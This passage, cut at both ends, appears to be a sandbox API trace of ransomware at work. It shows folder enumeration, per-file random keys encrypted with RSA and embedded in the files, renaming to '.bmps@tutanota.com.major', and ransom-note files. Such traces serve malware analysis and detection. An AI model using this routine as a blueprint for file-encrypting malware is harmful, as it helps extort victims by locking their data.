lpBuffer=0x662188*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0303.323] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0303.323] WriteFile (in: hFile=0x1bf4, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0303.323] CloseHandle (hObject=0x1bf4) returned 1 [0303.323] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\ContentManagementSDK\\Creatives\\280810\\imprbeacons.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\contentmanagementsdk\\creatives\\280810\\imprbeacons.dat"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\ContentManagementSDK\\Creatives\\280810\\imprbeacons.dat.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\contentmanagementsdk\\creatives\\280810\\imprbeacons.dat.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0303.325] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0303.325] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\ContentManagementSDK\\Creatives\\280810\\eventbeacons.dat", dwFileAttributes=0x80) returned 1 [0303.325] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\ContentManagementSDK\\Creatives\\280810\\eventbeacons.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\contentmanagementsdk\\creatives\\280810\\eventbeacons.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1bf4 [0303.326] GetFileSizeEx (in: hFile=0x1bf4, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=0) returned 1 [0303.326] ReadFile (in: hFile=0x1bf4, lpBuffer=0x59d4b0, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d4b0*, lpNumberOfBytesRead=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0303.326] SetFilePointer (in: hFile=0x1bf4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0303.326] WriteFile (in: hFile=0x1bf4, lpBuffer=0x59d430*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d430*, lpNumberOfBytesWritten=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0303.326] SetFilePointer (in: hFile=0x1bf4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x0 [0303.326] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0303.326] WriteFile (in: hFile=0x1bf4, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0303.327] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0303.327] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0303.328] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0303.328] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x6629e0, pcchString=0x2e3f9a8 | out: pszString="CNsFBthjQYyfbe5tloUU2VezzBOq184Vk9Co2aKWSWXrm0jBfZwjzMFpCeCwlg7M\nRkgEkANV09n8sXOf9U05r2SDNMYH7CKEKVc2DSXTBj7wUC6LQb1hwv/qWO3Nf70y\nIVhfLI1CvhvnWzGq9dEwJ8Nxp9v69BdKtLJQgJfivjW2/YgezkNjBSlxpoS/Hz7+\nmZ5NgNbEWKlKyx/uKIE2E6Z7iJ72HOaqoPA4WeRF2zci7QgN+apZyQ7JSRRWE0sC\nQrC9ke6d4NOefqaM1uY3CNzb68xgQjMk06HL876L3nIZ+HHTRY5vRWrydswSXKmX\nmQu3XYEyEEftYx2qSk3PAw==\n", pcchString=0x2e3f9a8) returned 1 [0303.328] WriteFile (in: hFile=0x1bf4, lpBuffer=0x6629e0*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x6629e0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0303.328] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0303.328] WriteFile (in: hFile=0x1bf4, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0303.328] CloseHandle (hObject=0x1bf4) returned 1 [0303.328] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\ContentManagementSDK\\Creatives\\280810\\eventbeacons.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\contentmanagementsdk\\creatives\\280810\\eventbeacons.dat"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\ContentManagementSDK\\Creatives\\280810\\eventbeacons.dat.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\contentmanagementsdk\\creatives\\280810\\eventbeacons.dat.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0303.330] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\ContentManagementSDK\\Creatives\\280811\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x416d25ac, ftCreationTime.dwHighDateTime=0x1d32747, ftLastAccessTime.dwLowDateTime=0x8a8a5304, ftLastAccessTime.dwHighDateTime=0x1d336d8, ftLastWriteTime.dwLowDateTime=0x513cdd49, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f37768 [0303.330] SetLastError (dwErrCode=0x0) [0303.330] GetLastError () returned 0x0 [0303.330] SetLastError (dwErrCode=0x0) [0303.331] GetLastError () returned 0x0 [0303.331] SetLastError (dwErrCode=0x0) [0303.331] FindNextFileW (in: hFindFile=0x2f37768, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x416d25ac, ftCreationTime.dwHighDateTime=0x1d32747, ftLastAccessTime.dwLowDateTime=0x8a8a5304, ftLastAccessTime.dwHighDateTime=0x1d336d8, ftLastWriteTime.dwLowDateTime=0x513cdd49, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0303.331] SetLastError (dwErrCode=0x0) [0303.331] GetLastError () returned 0x0 [0303.331] SetLastError (dwErrCode=0x0) [0303.331] GetLastError () returned 0x0 [0303.331] SetLastError (dwErrCode=0x0) [0303.331] FindNextFileW (in: hFindFile=0x2f37768, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x416d25ac, ftCreationTime.dwHighDateTime=0x1d32747, ftLastAccessTime.dwLowDateTime=0x416d25ac, ftLastAccessTime.dwHighDateTime=0x1d32747, ftLastWriteTime.dwLowDateTime=0xa4b8a7f2, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="eventbeacons.dat", cAlternateFileName="EVENTB~1.DAT")) returned 1 [0303.331] SetLastError (dwErrCode=0x0) [0303.331] GetLastError () returned 0x0 [0303.331] SetLastError (dwErrCode=0x0) [0303.331] SetLastError (dwErrCode=0x0) [0303.331] FindNextFileW (in: hFindFile=0x2f37768, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x416d25ac, ftCreationTime.dwHighDateTime=0x1d32747, ftLastAccessTime.dwLowDateTime=0x416d25ac, ftLastAccessTime.dwHighDateTime=0x1d32747, ftLastWriteTime.dwLowDateTime=0xa4b8a7f2, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="imprbeacons.dat", cAlternateFileName="IMPRBE~1.DAT")) returned 1 [0303.331] SetLastError (dwErrCode=0x0) [0303.331] GetLastError () returned 0x0 [0303.331] SetLastError (dwErrCode=0x0) [0303.331] SetLastError (dwErrCode=0x0) [0303.331] FindNextFileW (in: hFindFile=0x2f37768, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x513cdd49, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x513cdd49, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x513cdd49, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0303.332] SetLastError (dwErrCode=0x0) [0303.332] GetLastError () returned 0x0 [0303.332] SetLastError (dwErrCode=0x0) [0303.332] SetLastError (dwErrCode=0x0) [0303.332] FindNextFileW (in: hFindFile=0x2f37768, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x513cdd49, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x513cdd49, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x513cdd49, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0303.332] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0303.332] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\ContentManagementSDK\\Creatives\\280811\\imprbeacons.dat", dwFileAttributes=0x80) returned 1 [0303.332] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\ContentManagementSDK\\Creatives\\280811\\imprbeacons.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\contentmanagementsdk\\creatives\\280811\\imprbeacons.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1bf8 [0303.333] GetFileSizeEx (in: hFile=0x1bf8, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=0) returned 1 [0303.333] ReadFile (in: hFile=0x1bf8, lpBuffer=0x59d430, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d430*, lpNumberOfBytesRead=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0303.333] SetFilePointer (in: hFile=0x1bf8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0303.333] WriteFile (in: hFile=0x1bf8, lpBuffer=0x59d4b0*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d4b0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0303.333] SetFilePointer (in: hFile=0x1bf8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x0 [0303.333] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0303.333] WriteFile (in: hFile=0x1bf8, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0303.334] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0303.334] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0303.335] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0303.335] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x662450, pcchString=0x2e3f9a8 | out: pszString="ARh9Zozx2CrxdVZJW40+YrU5mIu/B1rIIpKr9fhGnmuOARl/NO8wd8ckH3lewgtB\nBjHWtevzc0+brvonrosSdIIJQruChs5oKRAgzO/tBjtUeAY3S7ePvYvt0NsgrJeg\n/AGH1MsSFkfjodhhfMcaOXtZ9KGMMkEutmQ9KhHoJ2hX+Ey3QiXynbBGkb46uUv1\nXO/HPaFVwB/9BjBrySgh2i2O8TR8TeHo0zPgz53dF1xuwhIdUfa2s9sHivAlNFf1\ny21wI+1QqhIgSwN90y+RpfaHzsMqUZRlBYmtF0NwVbix4MUe6pLxj7CEYlK/sOXY\nSzQGewfeQS9QZAoZwepUGQ==\n", pcchString=0x2e3f9a8) returned 1 [0303.335] WriteFile (in: hFile=0x1bf8, lpBuffer=0x662450*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x662450*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0303.335] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0303.335] WriteFile (in: hFile=0x1bf8, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0303.335] CloseHandle (hObject=0x1bf8) returned 1 [0303.335] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\ContentManagementSDK\\Creatives\\280811\\imprbeacons.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\contentmanagementsdk\\creatives\\280811\\imprbeacons.dat"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\ContentManagementSDK\\Creatives\\280811\\imprbeacons.dat.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\contentmanagementsdk\\creatives\\280811\\imprbeacons.dat.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0303.338] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0303.338] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\ContentManagementSDK\\Creatives\\280811\\eventbeacons.dat", dwFileAttributes=0x80) returned 1 [0303.338] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\ContentManagementSDK\\Creatives\\280811\\eventbeacons.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\contentmanagementsdk\\creatives\\280811\\eventbeacons.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1bf8 [0303.339] GetFileSizeEx (in: hFile=0x1bf8, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=0) returned 1 [0303.339] ReadFile (in: hFile=0x1bf8, lpBuffer=0x59d430, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d430*, lpNumberOfBytesRead=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0303.339] SetFilePointer (in: hFile=0x1bf8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0303.339] WriteFile (in: hFile=0x1bf8, lpBuffer=0x59d4b0*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d4b0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0303.339] SetFilePointer (in: hFile=0x1bf8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x0 [0303.339] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0303.339] WriteFile (in: hFile=0x1bf8, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0303.340] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0303.340] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0303.340] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0303.340] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x662718, pcchString=0x2e3f9a8 | out: pszString="QpvxSjyXHhi9mO+6I61hSr58w5q+d4s3dnUVrXeBDFcN7Jga70TlY0kHVrS3W2Mm\neH7Q+6m2qCw0VwJA8NznUBG68K55TYkqt9Yz/GmATLBx9MVto163AMTNhBTQEepO\nzIRGbhKPCJJuPyx3XQNSvuqcWetz9hurdkMW9yz1V9N+UhCA/tu+Tid5SEWWglQq\nQZHLnDGGgbA2jgP6ZbfomsJSMfD/m+MXO45+uViZtHK5psiyA9+T5ivK2dgEdAVx\n9MbaTrfsaHvsF7j6QevuZwoB+QlCwN8o0XDhPJRLBQjxS+UBjuIWaHQTYcn76+UE\nLIaUve9jit1Z+UudrGUKFA==\n", pcchString=0x2e3f9a8) returned 1 [0303.340] WriteFile (in: hFile=0x1bf8, lpBuffer=0x662718*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x662718*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0303.340] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0303.340] WriteFile (in: hFile=0x1bf8, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0303.341] CloseHandle (hObject=0x1bf8) returned 1 [0303.341] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\ContentManagementSDK\\Creatives\\280811\\eventbeacons.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\contentmanagementsdk\\creatives\\280811\\eventbeacons.dat"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\ContentManagementSDK\\Creatives\\280811\\eventbeacons.dat.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\contentmanagementsdk\\creatives\\280811\\eventbeacons.dat.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0303.343] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\ContentManagementSDK\\Creatives\\280813\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3be9e93, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x35a99a0d, ftLastAccessTime.dwHighDateTime=0x1d327c2, ftLastWriteTime.dwLowDateTime=0x5148c8c4, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f378a8 [0303.343] SetLastError (dwErrCode=0x0) [0303.343] GetLastError () returned 0x0 [0303.343] SetLastError (dwErrCode=0x0) [0303.343] GetLastError () returned 0x0 [0303.343] SetLastError (dwErrCode=0x0) [0303.343] FindNextFileW (in: hFindFile=0x2f378a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3be9e93, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x35a99a0d, ftLastAccessTime.dwHighDateTime=0x1d327c2, ftLastWriteTime.dwLowDateTime=0x5148c8c4, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0303.343] SetLastError (dwErrCode=0x0) [0303.343] GetLastError () returned 0x0 [0303.343] SetLastError (dwErrCode=0x0) [0303.343] GetLastError () returned 0x0 [0303.343] SetLastError (dwErrCode=0x0) [0303.343] FindNextFileW (in: hFindFile=0x2f378a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7385ce05, ftCreationTime.dwHighDateTime=0x1d327b4, ftLastAccessTime.dwLowDateTime=0x7385f521, ftLastAccessTime.dwHighDateTime=0x1d327b4, ftLastWriteTime.dwLowDateTime=0x738942ad, ftLastWriteTime.dwHighDateTime=0x1d327b4, nFileSizeHigh=0x0, nFileSizeLow=0x1c10, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="1504773410", cAlternateFileName="150477~1")) returned 1 [0303.344] SetLastError (dwErrCode=0x0) [0303.344] GetLastError () returned 0x0 [0303.344] SetLastError (dwErrCode=0x0) [0303.344] SetLastError (dwErrCode=0x0) [0303.344] FindNextFileW (in: hFindFile=0x2f378a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x35a4d42c, ftCreationTime.dwHighDateTime=0x1d327c2, ftLastAccessTime.dwLowDateTime=0x35a4d42c, ftLastAccessTime.dwHighDateTime=0x1d327c2, ftLastWriteTime.dwLowDateTime=0x35a99a0d, ftLastWriteTime.dwHighDateTime=0x1d327c2, nFileSizeHigh=0x0, nFileSizeLow=0x1cd2, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="1504779320", cAlternateFileName="150477~2")) returned 1 [0303.344] SetLastError (dwErrCode=0x0) [0303.344] GetLastError () returned 0x0 [0303.344] SetLastError (dwErrCode=0x0) [0303.344] SetLastError (dwErrCode=0x0) [0303.344] FindNextFileW (in: hFindFile=0x2f378a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c100a2, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x3c100a2, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xa4ce1b7c, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="eventbeacons.dat", cAlternateFileName="EVENTB~1.DAT")) returned 1 [0303.344] SetLastError (dwErrCode=0x0) [0303.344] GetLastError () returned 0x0 [0303.344] SetLastError (dwErrCode=0x0) [0303.344] SetLastError (dwErrCode=0x0) [0303.344] FindNextFileW (in: hFindFile=0x2f378a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3be9e93, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x3be9e93, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xa4ce1b7c, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="imprbeacons.dat", cAlternateFileName="IMPRBE~1.DAT")) returned 1 [0303.344] SetLastError (dwErrCode=0x0) [0303.344] GetLastError () returned 0x0 [0303.344] SetLastError (dwErrCode=0x0) [0303.345] SetLastError (dwErrCode=0x0) [0303.345] FindNextFileW (in: 